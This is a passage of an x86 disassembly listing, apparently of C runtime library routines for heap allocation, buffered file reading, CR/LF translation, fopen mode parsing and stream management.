XREF: sub_41F50E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41F5CA loc_41F597: ; CODE XREF: sub_41F50E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41F5B6 cmp [edi+4], ebx jbe short loc_41F5B6 push ebx push eax push [ebp+var_4] call sub_41F716 add esp, 0Ch test eax, eax jnz short loc_41F5D9 mov [edi+4], ebx loc_41F5B6: ; CODE XREF: sub_41F50E+8Dj ; sub_41F50E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41F597 jmp short loc_41F5CA ; --------------------------------------------------------------------------- loc_41F5C7: ; CODE XREF: sub_41F50E+14j mov ebx, [ebp+arg_0] loc_41F5CA: ; CODE XREF: sub_41F50E+87j ; sub_41F50E+B7j mov esi, [esi] cmp esi, off_43CE70 jz short loc_41F5E9 jmp loc_41F51C ; --------------------------------------------------------------------------- loc_41F5D9: ; CODE XREF: sub_41F50E+54j ; sub_41F50E+A3j mov off_43CE70, esi sub [edi], ebx mov [esi+8], edi jmp loc_41F711 ; --------------------------------------------------------------------------- loc_41F5E9: ; CODE XREF: sub_41F50E+C4j mov eax, offset off_43AE50 mov edi, eax loc_41F5F0: ; CODE XREF: sub_41F50E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41F5FC cmp dword ptr [edi+0Ch], 0 jnz short loc_41F608 loc_41F5FC: ; CODE XREF: sub_41F50E+E6j mov edi, [edi] cmp edi, eax jz loc_41F6DD jmp short loc_41F5F0 ; --------------------------------------------------------------------------- loc_41F608: ; CODE XREF: sub_41F50E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41F637 loc_41F626: ; CODE XREF: sub_41F50E+127j cmp [ebp+var_4], 10h jge short loc_41F637 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41F626 loc_41F637: ; CODE XREF: sub_41F50E+116j ; sub_41F50E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax nop call near ptr 266046Dh cmp eax, esi jnz loc_41F70F push 0 push [ebp+var_8] push esi call sub_41BF70 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41F69E lea eax, [esi+4] mov [ebp+var_4], edx loc_41F674: ; CODE XREF: sub_41F50E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41F674 loc_41F69E: ; CODE XREF: sub_41F50E+15Ej mov off_43CE70, edi lea eax, [edi+2018h] loc_41F6AA: ; CODE XREF: sub_41F50E+1A8j cmp ecx, eax jnb short loc_41F6BA cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41F6B8 add ecx, 8 jmp short loc_41F6AA ; --------------------------------------------------------------------------- loc_41F6B8: ; CODE XREF: sub_41F50E+1A3j cmp ecx, eax loc_41F6BA: ; CODE XREF: sub_41F50E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41F711 ; --------------------------------------------------------------------------- loc_41F6DD: ; CODE XREF: sub_41F50E+F2j call sub_41F216 test eax, eax jz short loc_41F70F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43CE70, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41F711 ; --------------------------------------------------------------------------- loc_41F70F: ; CODE XREF: sub_41F50E+143j ; sub_41F50E+1D6j xor eax, eax loc_41F711: ; CODE XREF: sub_41F50E+D6j ; sub_41F50E+1CDj ... pop edi pop esi pop ebx leave retn sub_41F50E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F716 proc near ; CODE XREF: sub_41F50E+4Ap ; sub_41F50E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41F75B lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41F74A add [ecx], edx sub [ecx+4], edx jmp short loc_41F753 ; --------------------------------------------------------------------------- loc_41F74A: ; CODE XREF: sub_41F716+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41F753: ; CODE XREF: sub_41F716+32j lea eax, [edi+8] jmp loc_41F829 ; --------------------------------------------------------------------------- loc_41F75B: ; CODE XREF: sub_41F716+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41F764 mov eax, esi loc_41F764: ; CODE XREF: sub_41F716+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41F7AE loc_41F76B: ; CODE XREF: sub_41F716+96j mov bl, [eax] test bl, bl jnz short loc_41F7A1 push 1 lea ebx, [eax+1] pop esi loc_41F777: ; CODE XREF: sub_41F716+68j cmp byte ptr [ebx], 0 jnz short loc_41F780 inc ebx inc esi jmp short loc_41F777 ; --------------------------------------------------------------------------- loc_41F780: ; CODE XREF: sub_41F716+64j cmp esi, edx jnb short loc_41F7D2 cmp eax, [ebp+var_4] jnz short loc_41F78E mov [ecx+4], esi jmp short loc_41F79A ; --------------------------------------------------------------------------- loc_41F78E: ; CODE XREF: sub_41F716+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41F833 loc_41F79A: ; CODE XREF: sub_41F716+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41F7A6 ; --------------------------------------------------------------------------- loc_41F7A1: ; CODE XREF: sub_41F716+59j movzx esi, bl add eax, esi loc_41F7A6: ; CODE XREF: sub_41F716+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41F76B loc_41F7AE: ; CODE XREF: sub_41F716+53j lea esi, [ecx+8] loc_41F7B1: ; CODE XREF: sub_41F716+EBj ; sub_41F716+F2j cmp esi, edi jnb short loc_41F833 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41F833 mov al, [esi] test al, al jnz short loc_41F803 push 1 lea ebx, [esi+1] pop eax loc_41F7C9: ; CODE XREF: sub_41F716+BAj cmp byte ptr [ebx], 0 jnz short loc_41F7F3 inc ebx inc eax jmp short loc_41F7C9 ; --------------------------------------------------------------------------- loc_41F7D2: ; CODE XREF: sub_41F716+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41F7E3 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41F7EC ; --------------------------------------------------------------------------- loc_41F7E3: ; CODE XREF: sub_41F716+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41F7EC: ; CODE XREF: sub_41F716+CBj mov [eax], dl add eax, 8 jmp short loc_41F829 ; --------------------------------------------------------------------------- loc_41F7F3: ; CODE XREF: sub_41F716+B6j cmp eax, edx jnb short loc_41F80A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41F833 mov esi, ebx jmp short loc_41F7B1 ; --------------------------------------------------------------------------- loc_41F803: ; CODE XREF: sub_41F716+ABj movzx eax, al add esi, eax jmp short loc_41F7B1 ; --------------------------------------------------------------------------- loc_41F80A: ; CODE XREF: sub_41F716+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41F81B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41F824 ; --------------------------------------------------------------------------- loc_41F81B: ; CODE XREF: sub_41F716+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41F824: ; CODE XREF: sub_41F716+103j mov [esi], dl lea eax, [esi+8] loc_41F829: ; CODE XREF: sub_41F716+40j ; sub_41F716+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41F835 ; --------------------------------------------------------------------------- loc_41F833: ; CODE XREF: sub_41F716+7Ej ; sub_41F716+9Dj ... xor eax, eax loc_41F835: ; CODE XREF: sub_41F716+11Bj pop edi pop esi pop ebx leave retn sub_41F716 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F83A proc near ; CODE XREF: sub_41BBE2+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41F874 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F8D4 ; --------------------------------------------------------------------------- loc_41F874: ; CODE XREF: sub_41F83A+26j jnb short loc_41F8DB mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F8DB lea eax, [ecx+edx] loc_41F889: ; CODE XREF: sub_41F83A+59j cmp eax, esi jnb short loc_41F897 cmp byte ptr [eax], 0 jnz short loc_41F895 inc eax jmp short loc_41F889 ; --------------------------------------------------------------------------- loc_41F895: ; CODE XREF: sub_41F83A+56j cmp eax, esi loc_41F897: ; CODE XREF: sub_41F83A+51j jnz short loc_41F8DB mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F8CF cmp esi, eax jbe short loc_41F8CF lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F8C6 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F8C1 loc_41F8BA: ; CODE XREF: sub_41F83A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F8BA loc_41F8C1: ; CODE XREF: sub_41F83A+7Ej mov [ebx+4], eax jmp short loc_41F8CF ; --------------------------------------------------------------------------- loc_41F8C6: ; CODE XREF: sub_41F83A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F8CF: ; CODE XREF: sub_41F83A+68j ; sub_41F83A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F8D4: ; CODE XREF: sub_41F83A+38j mov [ebp+var_4], 1 loc_41F8DB: ; CODE XREF: sub_41F83A:loc_41F874j ; sub_41F83A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41F83A endp ; =============== S U B R O U T I N E ======================================= sub_41F8E3 proc near ; CODE XREF: sub_41BAFA+A9p ; sub_41C52F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F9B7 test al, 40h jnz loc_41F9B7 test al, 2 jz short loc_41F909 or al, 20h mov [esi+0Ch], eax jmp loc_41F9B7 ; --------------------------------------------------------------------------- loc_41F909: ; CODE XREF: sub_41F8E3+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F91D push esi call sub_4241F7 pop ecx jmp short loc_41F922 ; --------------------------------------------------------------------------- loc_41F91D: ; CODE XREF: sub_41F8E3+2Fj mov eax, [esi+8] mov [esi], eax loc_41F922: ; CODE XREF: sub_41F8E3+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F9BC add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F9A6 cmp eax, 0FFFFFFFFh jz short loc_41F9A6 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F97B mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F964 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DD040[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F969 ; --------------------------------------------------------------------------- loc_41F964: ; CODE XREF: sub_41F8E3+6Bj mov edi, offset dword_43D4D0 loc_41F969: ; CODE XREF: sub_41F8E3+7Fj mov cl, [edi+4] pop edi and cl, 82h cmp cl, 82h jnz short loc_41F97B or dh, 20h mov [esi+0Ch], edx loc_41F97B: ; CODE XREF: sub_41F8E3+62j ; sub_41F8E3+90j cmp dword ptr [esi+18h], 200h jnz short loc_41F998 mov ecx, [esi+0Ch] test cl, 8 jz short loc_41F998 test ch, 4 jnz short loc_41F998 mov dword ptr [esi+18h], 1000h loc_41F998: ; CODE XREF: sub_41F8E3+9Fj ; sub_41F8E3+A7j ... mov ecx, [esi] dec eax mov [esi+4], eax movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx pop esi retn ; --------------------------------------------------------------------------- loc_41F9A6: ; CODE XREF: sub_41F8E3+55j ; sub_41F8E3+5Aj neg eax sbb eax, eax and eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F9B7: ; CODE XREF: sub_41F8E3+Aj ; sub_41F8E3+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F8E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F9BC proc near ; CODE XREF: sub_41BAFA+90p ; sub_41F8E3+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DD140 jnb loc_41FB99 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DD040h[eax*4] mov eax, dword_4DD040[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41FB99 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41FA71 test dl, 2 jnz short loc_41FA71 test dl, 48h jz short loc_41FA31 mov al, [eax+5] cmp al, 0Ah jz short loc_41FA31 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41FA31: ; CODE XREF: sub_41F9BC+56j ; sub_41F9BC+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] nop call near ptr 2700000h test eax, eax jnz short loc_41FA84 nop call near ptr 2680880h push 5 pop ecx cmp eax, ecx jnz short loc_41FA6C mov dword_4DBDDC, 9 mov dword_4DBDE0, ecx jmp loc_41FBAA ; --------------------------------------------------------------------------- loc_41FA6C: ; CODE XREF: sub_41F9BC+99j cmp eax, 6Dh jnz short loc_41FA78 loc_41FA71: ; CODE XREF: sub_41F9BC+4Cj ; sub_41F9BC+51j xor eax, eax jmp loc_41FBAD ; --------------------------------------------------------------------------- loc_41FA78: ; CODE XREF: sub_41F9BC+B3j push eax call sub_420C7F pop ecx jmp loc_41FBAA ; --------------------------------------------------------------------------- loc_41FA84: ; CODE XREF: sub_41F9BC+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41FB94 test edx, edx jz short loc_41FAA9 cmp byte ptr [edi], 0Ah jnz short loc_41FAA9 or al, 4 jmp short loc_41FAAB ; --------------------------------------------------------------------------- loc_41FAA9: ; CODE XREF: sub_41F9BC+E2j ; sub_41F9BC+E7j and al, 0FBh loc_41FAAB: ; CODE XREF: sub_41F9BC+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41FB8E loc_41FAC3: ; CODE XREF: sub_41F9BC+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41FB7E cmp al, 0Dh jz short loc_41FADF mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41FB70 ; --------------------------------------------------------------------------- loc_41FADF: ; CODE XREF: sub_41F9BC+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41FAFD mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41FAF4 add [ebp+arg_8], 2 jmp short loc_41FB52 ; --------------------------------------------------------------------------- loc_41FAF4: ; CODE XREF: sub_41F9BC+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41FB70 ; --------------------------------------------------------------------------- loc_41FAFD: ; CODE XREF: sub_41F9BC+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] nop call near ptr 2700000h test eax, eax jnz short loc_41FB25 nop call near ptr 2680880h test eax, eax jnz short loc_41FB6C loc_41FB25: ; CODE XREF: sub_41F9BC+15Dj cmp [ebp+var_C], 0 jz short loc_41FB6C mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41FB47 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41FB52 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41FB70 ; --------------------------------------------------------------------------- loc_41FB47: ; CODE XREF: sub_41F9BC+176j cmp edi, [ebp+arg_4] jnz short loc_41FB57 cmp [ebp+var_1], 0Ah jnz short loc_41FB57 loc_41FB52: ; CODE XREF: sub_41F9BC+136j ; sub_41F9BC+17Dj mov byte ptr [edi], 0Ah jmp short loc_41FB6F ; --------------------------------------------------------------------------- loc_41FB57: ; CODE XREF: sub_41F9BC+18Ej ; sub_41F9BC+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_422F09 add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41FB70 loc_41FB6C: ; CODE XREF: sub_41F9BC+167j ; sub_41F9BC+16Dj mov byte ptr [edi], 0Dh loc_41FB6F: ; CODE XREF: sub_41F9BC+199j inc edi loc_41FB70: ; CODE XREF: sub_41F9BC+11Ej ; sub_41F9BC+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41FAC3 jmp short loc_41FB8E ; --------------------------------------------------------------------------- loc_41FB7E: ; CODE XREF: sub_41F9BC+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41FB8E or al, 2 mov [esi], al loc_41FB8E: ; CODE XREF: sub_41F9BC+101j ; sub_41F9BC+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41FB94: ; CODE XREF: sub_41F9BC+DAj mov eax, [ebp+var_8] jmp short loc_41FBAD ; --------------------------------------------------------------------------- loc_41FB99: ; CODE XREF: sub_41F9BC+12j ; sub_41F9BC+39j and dword_4DBDE0, 0 mov dword_4DBDDC, 9 loc_41FBAA: ; CODE XREF: sub_41F9BC+ABj ; sub_41F9BC+C3j or eax, 0FFFFFFFFh loc_41FBAD: ; CODE XREF: sub_41F9BC+B7j ; sub_41F9BC+1DBj pop edi pop esi pop ebx leave retn sub_41F9BC endp ; =============== S U B R O U T I N E ======================================= sub_41FBB2 proc near ; CODE XREF: sub_41BBE2+126p ; sub_41BBE2+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DBE44 test eax, eax jz short loc_41FBCA push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41FBCA push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41FBCA: ; CODE XREF: sub_41FBB2+7j ; sub_41FBB2+12j xor eax, eax retn sub_41FBB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FBCD proc near ; CODE XREF: sub_41BE82+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DBFB0 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41FC06 cmp al, 72h jz short loc_41FBFF cmp al, 77h jnz loc_41FD1A mov ecx, 301h jmp short loc_41FC0B ; --------------------------------------------------------------------------- loc_41FBFF: ; CODE XREF: sub_41FBCD+21j xor ecx, ecx or esi, 1 jmp short loc_41FC0E ; --------------------------------------------------------------------------- loc_41FC06: ; CODE XREF: sub_41FBCD+1Dj mov ecx, 109h loc_41FC0B: ; CODE XREF: sub_41FBCD+30j or esi, 2 loc_41FC0E: ; CODE XREF: sub_41FBCD+37j push 1 pop edx loc_41FC11: ; CODE XREF: sub_41FBCD+8Bj ; sub_41FBCD+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41FD00 cmp edx, ebx jz loc_41FD00 movsx eax, al cmp eax, 54h jg short loc_41FC9F jz short loc_41FC8F sub eax, 2Bh jz short loc_41FC79 sub eax, 19h jz short loc_41FC6F sub eax, 0Eh jz short loc_41FC5A dec eax jnz loc_41FCF1 cmp [ebp+var_4], ebx jnz loc_41FCF1 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC5A: ; CODE XREF: sub_41FBCD+6Fj cmp [ebp+var_4], ebx jnz loc_41FCF1 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC6F: ; CODE XREF: sub_41FBCD+6Aj test cl, 40h jnz short loc_41FCF1 or ecx, 40h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC79: ; CODE XREF: sub_41FBCD+65j test cl, 2 jnz short loc_41FCF1 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC8F: ; CODE XREF: sub_41FBCD+60j mov eax, 1000h test ecx, eax jnz short loc_41FCF1 or ecx, eax jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FC9F: ; CODE XREF: sub_41FBCD+5Ej sub eax, 62h jz short loc_41FCEC dec eax jz short loc_41FCD5 sub eax, 0Bh jz short loc_41FCBE sub eax, 6 jnz short loc_41FCF1 test ch, 0C0h jnz short loc_41FCF1 or ch, 40h jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCBE: ; CODE XREF: sub_41FBCD+DDj cmp [ebp+var_8], ebx jnz short loc_41FCF1 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCD5: ; CODE XREF: sub_41FBCD+D8j cmp [ebp+var_8], ebx jnz short loc_41FCF1 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCEC: ; CODE XREF: sub_41FBCD+D5j test ch, 0C0h jz short loc_41FCF8 loc_41FCF1: ; CODE XREF: sub_41FBCD+72j ; sub_41FBCD+7Bj ... xor edx, edx jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FCF8: ; CODE XREF: sub_41FBCD+122j or ch, 80h jmp loc_41FC11 ; --------------------------------------------------------------------------- loc_41FD00: ; CODE XREF: sub_41FBCD+4Aj ; sub_41FBCD+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_42423B mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41FD1E loc_41FD1A: ; CODE XREF: sub_41FBCD+25j xor eax, eax jmp short loc_41FD38 ; --------------------------------------------------------------------------- loc_41FD1E: ; CODE XREF: sub_41FBCD+14Bj mov eax, [ebp+arg_C] inc dword_4DBFAC mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41FD38: ; CODE XREF: sub_41FBCD+14Fj pop edi pop esi pop ebx leave retn sub_41FBCD endp ; =============== S U B R O U T I N E ======================================= sub_41FD3D proc near ; CODE XREF: sub_41BE82p mov edx, dword_4DD020 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41FDAE mov ebx, dword_4DC01C mov edi, ebx loc_41FD59: ; CODE XREF: sub_41FD3D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41FD74 test byte ptr [ecx+0Ch], 83h jz short loc_41FD6F inc eax add edi, 4 cmp eax, edx jl short loc_41FD59 jmp short loc_41FDAE ; --------------------------------------------------------------------------- loc_41FD6F: ; CODE XREF: sub_41FD3D+26j mov esi, [ebx+eax*4] jmp short loc_41FD98 ; --------------------------------------------------------------------------- loc_41FD74: ; CODE XREF: sub_41FD3D+20j mov edi, eax push 20h shl edi, 2 call sub_41BEB5 pop ecx mov ecx, dword_4DC01C mov [edi+ecx], eax mov eax, dword_4DC01C mov edi, [edi+eax] cmp edi, ebp jz short loc_41FDAE mov esi, edi loc_41FD98: ; CODE XREF: sub_41FD3D+35j cmp esi, ebp jz short loc_41FDAE or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41FDAE: ; CODE XREF: sub_41FD3D+12j ; sub_41FD3D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41FD3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDB5 proc near ; CODE XREF: sub_41C0CE+17p ; sub_41C0CE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41FDD3 mov ecx, off_43CE78 movzx eax, word ptr [ecx+eax*2] jmp short loc_41FE25 ; --------------------------------------------------------------------------- loc_41FDD3: ; CODE XREF: sub_41FDB5+10j mov ecx, eax push esi mov esi, off_43CE78 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41FDF8 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41FE01 ; --------------------------------------------------------------------------- loc_41FDF8: ; CODE XREF: sub_41FDB5+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41FE01: ; CODE XREF: sub_41FDB5+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_4244F4 add esp, 1Ch test eax, eax jnz short loc_41FE21 leave retn ; --------------------------------------------------------------------------- loc_41FE21: ; CODE XREF: sub_41FDB5+68j movzx eax, word ptr [ebp+arg_0+2] loc_41FE25: ; CODE XREF: sub_41FDB5+1Cj and eax, [ebp+arg_4] leave retn sub_41FDB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FE2A proc near ; CODE XREF: sub_41C266+46p ; sub_41C360+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41FF33 test al, 40h jnz loc_41FF33 test al, 1 jz short loc_41FE62 and dword ptr [esi+4], 0 test al, 10h jz loc_41FF33 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41FE62: ; CODE XREF: sub_41FE2A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41FE9C cmp esi, offset dword_43D588 jz short loc_41FE8A cmp esi, offset dword_43D5A8 jnz short loc_41FE95 loc_41FE8A: ; CODE XREF: sub_41FE2A+56j push ebx call sub_42463D test eax, eax pop ecx jnz short loc_41FE9C loc_41FE95: ; CODE XREF: sub_41FE2A+5Ej push esi call sub_4241F7 pop ecx loc_41FE9C: ; CODE XREF: sub_41FE2A+4Ej ; sub_41FE2A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41FF09 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41FECC push edi push eax push ebx call sub_4230FB add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41FEFF ; --------------------------------------------------------------------------- loc_41FECC: ; CODE XREF: sub_41FE2A+90j cmp ebx, 0FFFFFFFFh jz short loc_41FEE7 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DD040[eax*4] lea eax, [eax+ecx*8] jmp short loc_41FEEC ; --------------------------------------------------------------------------- loc_41FEE7: ; CODE XREF: sub_41FE2A+A5j mov eax, offset dword_43D4D0 loc_41FEEC: ; CODE XREF: sub_41FE2A+BBj test byte ptr [eax+4], 20h jz short loc_41FEFF push 2 push 0 push ebx call sub_422F09 add esp, 0Ch loc_41FEFF: ; CODE XREF: sub_41FE2A+A0j ; sub_41FE2A+C6j mov eax, [esi+8] 